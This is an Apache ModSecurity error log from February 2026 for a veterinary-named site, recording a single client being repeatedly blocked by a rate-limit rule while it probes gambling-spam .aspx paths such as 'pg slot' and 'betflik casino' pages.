[Sat Feb 14 19:42:45.483384 2026] [:error] [pid 50339:tid 50386] [client 146.59.46.29:56292] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aZBftcI6TclQ9GOl2Y1oSQAAAhA"]
[Sat Feb 14 19:42:46.321934 2026] [:error] [pid 26209:tid 26284] [client 146.59.46.29:56308] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aZBftmexYDXnloPeXAV4aAAAApA"]
[Sat Feb 14 19:42:49.885046 2026] [:error] [pid 63327:tid 63380] [client 146.59.46.29:58070] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aZBfuS9btvSz88ToHa_esQAAAZg"]
[Sat Feb 14 19:42:50.281978 2026] [:error] [pid 26150:tid 26154] [client 146.59.46.29:58076] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aZBfuqqmPH3D5QJaUSHElAAAAIA"]
[Sat Feb 14 19:42:50.948428 2026] [:error] [pid 50339:tid 50381] [client 146.59.46.29:58050] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aZBfusI6TclQ9GOl2Y1oTQAAAgs"]
[Sat Feb 14 19:42:53.264666 2026] [:error] [pid 56720:tid 56800] [client 146.59.46.29:58136] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aZBfvXjg3vzUoXJ19eAapwAAA9c"]
[Sat Feb 14 19:42:53.759561 2026] [:error] [pid 36219:tid 36261] [client 146.59.46.29:58104] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aZBfvZe-m2OpEy0FNjhNKgAAA40"]
[Sat Feb 14 19:42:55.368781 2026] [:error] [pid 26151:tid 26202] [client 146.59.46.29:58148] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aZBfv5yTBacUV3MCh6kmGQAAANU"]
[Sat Feb 14 19:42:55.888955 2026] [:error] [pid 26151:tid 26198] [client 146.59.46.29:58150] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "aZBfv5yTBacUV3MCh6kmHAAAANE"]
[Sat Feb 14 19:43:06.049850 2026] [:error] [pid 63327:tid 63370] [client 146.59.46.29:54964] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1234%20slot.aspx"] [unique_id "aZBfyi9btvSz88ToHa_etwAAAY4"]
[Sat Feb 14 19:43:07.732897 2026] [:error] [pid 35135:tid 35154] [client 146.59.46.29:54904] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aZBfy4kSccJZYMDP04w9zgAAARA"]
[Sat Feb 14 19:43:09.098795 2026] [:error] [pid 36219:tid 36271] [client 146.59.46.29:58168] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aZBfzZe-m2OpEy0FNjhNQgAAA5c"]
[Sat Feb 14 19:43:09.219431 2026] [:error] [pid 36219:tid 36251] [client 146.59.46.29:44770] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/789%20slot.aspx"] [unique_id "aZBfzZe-m2OpEy0FNjhNQwAAA4M"]
[Sat Feb 14 19:43:09.427206 2026] [:error] [pid 36219:tid 36248] [client 146.59.46.29:54922] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aZBfzZe-m2OpEy0FNjhNRAAAA4A"]
[Sat Feb 14 19:43:10.566913 2026] [:error] [pid 8274:tid 8281] [client 146.59.46.29:44812] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aZBfzrUW6xok4sn7YUnDcwAAAUE"]
[Sat Feb 14 19:43:12.074369 2026] [:error] [pid 50339:tid 50387] [client 146.59.46.29:44824] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aZBf0MI6TclQ9GOl2Y1oVwAAAhE"]
[Sat Feb 14 19:43:12.305955 2026] [:error] [pid 36056:tid 36067] [client 146.59.46.29:44822] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/888%20slot.aspx"] [unique_id "aZBf0Lv3wQbSPS1vpOgSeAAAAAk"]
[Sat Feb 14 19:43:13.866595 2026] [:error] [pid 35135:tid 35157] [client 146.59.46.29:44856] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aZBf0YkSccJZYMDP04w92AAAARM"]
[Sat Feb 14 19:43:14.223587 2026] [:error] [pid 36056:tid 36059] [client 146.59.46.29:44868] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aZBf0rv3wQbSPS1vpOgSeQAAAAE"]
[Sat Feb 14 19:43:14.951763 2026] [:error] [pid 36056:tid 36065] [client 146.59.46.29:44898] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aZBf0rv3wQbSPS1vpOgSewAAAAc"]
[Sat Feb 14 19:43:16.662711 2026] [:error] [pid 26150:tid 26156] [client 146.59.46.29:44950] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/all%20slot.aspx"] [unique_id "aZBf1KqmPH3D5QJaUSHEpwAAAII"]
[Sat Feb 14 19:43:17.581152 2026] [:error] [pid 36219:tid 36257] [client 146.59.46.29:44960] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aZBf1Ze-m2OpEy0FNjhNSAAAA4k"]
[Sat Feb 14 19:43:17.981101 2026] [:error] [pid 36056:tid 36071] [client 146.59.46.29:44974] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aZBf1bv3wQbSPS1vpOgSggAAAA0"]
[Sat Feb 14 19:43:18.191403 2026] [:error] [pid 36056:tid 36058] [client 146.59.46.29:45010] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aZBf1rv3wQbSPS1vpOgShAAAAAA"]
[Sat Feb 14 19:43:20.334006 2026] [:error] [pid 8274:tid 8298] [client 146.59.46.29:45024] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aZBf2LUW6xok4sn7YUnDewAAAVI"]
[Sat Feb 14 19:43:20.729607 2026] [:error] [pid 8274:tid 8281] [client 146.59.46.29:45040] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aZBf2LUW6xok4sn7YUnDfAAAAUE"]
[Sat Feb 14 19:43:20.998467 2026] [:error] [pid 35135:tid 35146] [client 146.59.46.29:45026] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aZBf2IkSccJZYMDP04w94gAAAQg"]
[Sat Feb 14 19:43:22.077889 2026] [:error] [pid 36056:tid 36080] [client 146.59.46.29:45064] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aZBf2rv3wQbSPS1vpOgSkAAAABY"]
[Sat Feb 14 19:43:23.682235 2026] [:error] [pid 26150:tid 26171] [client 146.59.46.29:45106] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aZBf26qmPH3D5QJaUSHEswAAAJE"]
[Sat Feb 14 19:43:23.919156 2026] [:error] [pid 26209:tid 26273] [client 146.59.46.29:45112] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aZBf22exYDXnloPeXAV4gQAAAoU"]
[Sat Feb 14 19:43:24.358123 2026] [:error] [pid 26150:tid 26166] [client 146.59.46.29:45092] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aZBf3KqmPH3D5QJaUSHEtwAAAIw"]
[Sat Feb 14 19:43:25.962952 2026] [:error] [pid 26150:tid 26165] [client 146.59.46.29:45160] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aZBf3aqmPH3D5QJaUSHEuwAAAIs"]
[Sat Feb 14 19:43:27.231279 2026] [:error] [pid 36219:tid 36263] [client 146.59.46.29:45170] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aZBf35e-m2OpEy0FNjhNWwAAA48"]
[Sat Feb 14 19:43:27.483781 2026] [:error] [pid 36219:tid 36256] [client 146.59.46.29:45192] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aZBf35e-m2OpEy0FNjhNXQAAA4g"]
[Sat Feb 14 19:43:29.155506 2026] [:error] [pid 36219:tid 36259] [client 146.59.46.29:45180] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aZBf4Ze-m2OpEy0FNjhNYAAAA4s"]
[Sat Feb 14 19:43:29.755369 2026] [:error] [pid 36219:tid 36270] [client 146.59.46.29:40816] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aZBf4Ze-m2OpEy0FNjhNZAAAA5Y"]
[Sat Feb 14 19:43:30.037851 2026] [:error] [pid 50339:tid 50373] [client 146.59.46.29:40830] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aZBf4sI6TclQ9GOl2Y1oaAAAAgM"]
[Sat Feb 14 19:43:30.549847 2026] [:error] [pid 26209:tid 26277] [client 146.59.46.29:40850] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "aZBf4mexYDXnloPeXAV4igAAAok"]
[Sat Feb 14 19:43:32.637184 2026] [:error] [pid 26151:tid 26194] [client 146.59.46.29:40852] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aZBf5JyTBacUV3MCh6kmOQAAAM0"]
[Sat Feb 14 19:43:33.108969 2026] [:error] [pid 26209:tid 26292] [client 146.59.46.29:40868] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aZBf5WexYDXnloPeXAV4iwAAApg"]
[Sat Feb 14 19:43:33.262142 2026] [:error] [pid 36056:tid 36060] [client 146.59.46.29:40870] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aZBf5bv3wQbSPS1vpOgSmwAAAAI"]
[Sat Feb 14 19:43:33.306541 2026] [:error] [pid 36056:tid 36062] [client 146.59.46.29:40886] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aZBf5bv3wQbSPS1vpOgSnQAAAAQ"]
[Sat Feb 14 19:43:36.098006 2026] [:error] [pid 26151:tid 26200] [client 146.59.46.29:40948] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aZBf6JyTBacUV3MCh6kmPwAAANM"]
[Sat Feb 14 19:43:36.205269 2026] [:error] [pid 26151:tid 26186] [client 146.59.46.29:40920] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aZBf6JyTBacUV3MCh6kmQAAAAMU"]
[Sat Feb 14 19:43:36.552211 2026] [:error] [pid 26151:tid 26196] [client 146.59.46.29:40930] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aZBf6JyTBacUV3MCh6kmQwAAAM8"]
[Sat Feb 14 19:43:36.991374 2026] [:error] [pid 26151:tid 26181] [client 146.59.46.29:40956] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aZBf6JyTBacUV3MCh6kmRAAAAMA"]
[Sat Feb 14 19:43:38.772249 2026] [:error] [pid 36056:tid 36075] [client 146.59.46.29:49450] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aZBf6rv3wQbSPS1vpOgSowAAABE"]
[Sat Feb 14 19:43:39.253799 2026] [:error] [pid 56720:tid 56790] [client 146.59.46.29:49460] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aZBf63jg3vzUoXJ19eAaxgAAA80"]
[Sat Feb 14 19:43:39.452874 2026] [:error] [pid 56720:tid 56778] [client 146.59.46.29:49408] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aZBf63jg3vzUoXJ19eAayAAAA8E"]
[Sat Feb 14 19:43:41.158616 2026] [:error] [pid 50339:tid 50388] [client 146.59.46.29:49488] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aZBf7cI6TclQ9GOl2Y1obAAAAhI"]
[Sat Feb 14 19:43:42.480708 2026] [:error] [pid 50339:tid 50370] [client 146.59.46.29:49536] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aZBf7sI6TclQ9GOl2Y1ocQAAAgA"]
[Sat Feb 14 19:43:42.663382 2026] [:error] [pid 26151:tid 26186] [client 146.59.46.29:49516] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aZBf7pyTBacUV3MCh6kmSAAAAMU"]
[Sat Feb 14 19:43:42.804800 2026] [:error] [pid 35135:tid 35148] [client 146.59.46.29:49544] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aZBf7okSccJZYMDP04w96AAAAQo"]
[Sat Feb 14 19:43:44.961524 2026] [:error] [pid 35135:tid 35144] [client 146.59.46.29:49562] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aZBf8IkSccJZYMDP04w97QAAAQY"]
[Sat Feb 14 19:43:45.341942 2026] [:error] [pid 8274:tid 8289] [client 146.59.46.29:49578] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aZBf8bUW6xok4sn7YUnDjgAAAUk"]
